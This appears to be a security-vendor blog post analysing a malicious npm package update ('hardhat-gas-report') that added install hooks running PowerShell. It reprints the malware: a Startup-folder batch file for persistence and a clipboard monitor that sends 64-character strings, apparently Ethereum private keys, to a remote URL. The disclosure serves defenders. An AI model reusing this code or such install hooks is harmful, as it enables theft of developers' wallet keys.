Dormant npm Package Update Targets Ethereum Private Keys
On the afternoon of September 1, 2023 Phylum's automated risk detection platform flagged two new publications of the https://app.phylum.io/package/npm/hardhat-gas-report/1.1.17 package. It turns out these updates included a stealthy clipboard monitor with a persistence mechanism attempting to exfiltrate Ethereum private keys to a remote server. This attack is particularly interesting, however, because this package was benign and untouched for 8 months before receiving the malicious update. Join us as we look at this attack in more detail!
--cta--
Understanding the Package
"hardhat-gas-report" is a plugin designed for the Ethereum development framework Hardhat. This plugin is an integration of eth-gas-reporter, offering a Mocha reporter for Ethereum test suites. Its primary function is to provide insights into gas usage, method calls, deployments, and currency costs associated with Ethereum smart contract development.
Timeline of Events
The package "hardhat-gas-report" had been available on npm since January 6, 2023. For nearly 8 months, it remained seemingly benign, with no updates. On September 1, 2023, two updates were published in rapid succession.
Version 1.1.17 (Published at 18:42)
The initial update, version 1.1.17, introduced a new file called src/index.js
. It’s interesting to note that there already existed the original index.js
at dist/src/index.js
. This new file contained a simple JavaScript function named "startFunction." The function's purpose was merely to log a message, indicating that the project had started.
function startFunction() {
console.log("Project started! Your function is running.");
// Your code here
}
module.exports = startFunction;
What raised suspicion, however, was the inclusion of new pre
and postinstall
hooks in the package.json
file. These hooks executed the "startFunction" during the installation process, even though it seemingly had no direct relevance to the package's primary functionality.
Version 1.1.18 (Published at 19:13)
A mere 31 minutes after the first update, version 1.1.18 was released, bringing with it significant changes. First, a new file called src/runner.ps1
was introduced and secondly, the package.json
file hooks were both modified once again, this time calling PowerShell to run the newly introduced src/runner.ps1
script.
In the runner.ps1
script, the true intentions of this update are exposed. The script consists of two parts: one is intended to create a batch file (system.bat
), and the other is intended to create a PowerShell script (NewFile.ps1
). Both are stored in the Windows Start Menu's Startup folder and Programs folder, respectively, within the user's home directory.
Let’s take a look at the system.bat
first.
$path = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat"
$content = "@echo off`r`npowershell -ExecutionPolicy Bypass -File `"$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\NewFile.ps1`""
Set-Content -Path $path -Value $content
- It first sets a variable
$path
for the location ofsystem.bat
in the user's Startup folder. Files in this directory are automatically executed when the user logs in. - It then creates the content of the
system.bat
file, which includes anecho off
command to suppress command-line output, and a PowerShell command to runNewFile.ps1
. - It writes this content into
system.bat
usingSet-Content
.
Now let’s turn to the content of NewFile.ps1
.
$filePath = "C:\Users\An\Desktop\Clipboard.txt"
$uri = "https://test-lake-delta-49.vercel.app/keys"
$maxLength = 64
while ($true) {
$clipboard = Get-Clipboard
Start-Sleep -Seconds 1
if($clipboard.Length -eq $maxLength -and $clipboard -notmatch "\s"){
Write-Output "The clipboard contains valid text."
$message = @{
key = $clipboard
}
$json = $message | ConvertTo-Json
$response = Invoke-RestMethod -Uri $uri -Method Post -Body $json -ContentType "application/json"
if ($response.status -eq "success") {
Write-Host "Message posted successfully!"
} else {
Write-Host "An error occurred while posting the message."
}
} else {
Write-Output "The clipboard does not contain valid text."
}
}
- A second
$path
variable points to the location ofNewFile.ps1
. - The
$content
variable holds the actual script, which does the following:- Sets a
$filePath
variable (commented out, not used). - Sets a
$uri
variable for a URL. This URL seems to be a service that will be sent data. - Sets a
$maxLength
variable for checking clipboard length. - Enters an infinite loop (
while($true)
) that:- Checks the content of the clipboard using
Get-Clipboard
. - Sleeps for one second (
Start-Sleep -Seconds 1
). - Verifies if the clipboard data has a specific length (
$maxLength
which is 64 characters) and does not contain whitespace. - If it matches these conditions, it sends this data as JSON to the specified URL (
$uri
).
- Checks the content of the clipboard using
- Sets a
- Finally, it writes the content into
NewFile.ps1
usingSet-Content
.
The Malicious Intent
The attacker's URL (https://test-lake-delta-49.vercel.app/keys
) is highly revealing about their intentions. The use of the "/keys" endpoint suggests that cryptographic keys are likely the target of this malicious operation. Coupled with the fact that the script is explicitly looking to capture 64-character-long strings without spaces, it becomes increasingly plausible that the attacker is after Ethereum private keys, which are indeed 64 characters long when represented as hexadecimal strings. This targeted approach indicates a sophisticated understanding of cryptocurrency security and suggests that the attacker is aiming to capture and exfiltrate sensitive cryptographic keys for unauthorized access to Ethereum wallets or other secured digital assets.
Conclusion
A seemingly benign NPM package lay dormant for 8 months before suddenly receiving two quick updates that turned it into a malicious tool designed to steal Ethereum private keys. These updates equipped the package with code that writes startup scripts to a user's home directory, thereby establishing persistence on the system. Once installed, the malware continuously monitors the clipboard for 64-character strings, the exact length of Ethereum private keys. If you were a long-time user of this package, a routine version update might easily slip under the radar without arousing any suspicion. This sudden and stealthy transformation from a dormant package to a stealthy crypto private key sealer underscores the evolving risks in open-source software and the pressing need for vigilant security measures.